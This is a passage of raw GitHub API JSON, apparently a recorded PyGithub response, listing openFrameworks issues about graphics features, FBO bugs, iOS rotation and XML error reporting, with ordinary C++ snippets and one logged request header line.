{\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma 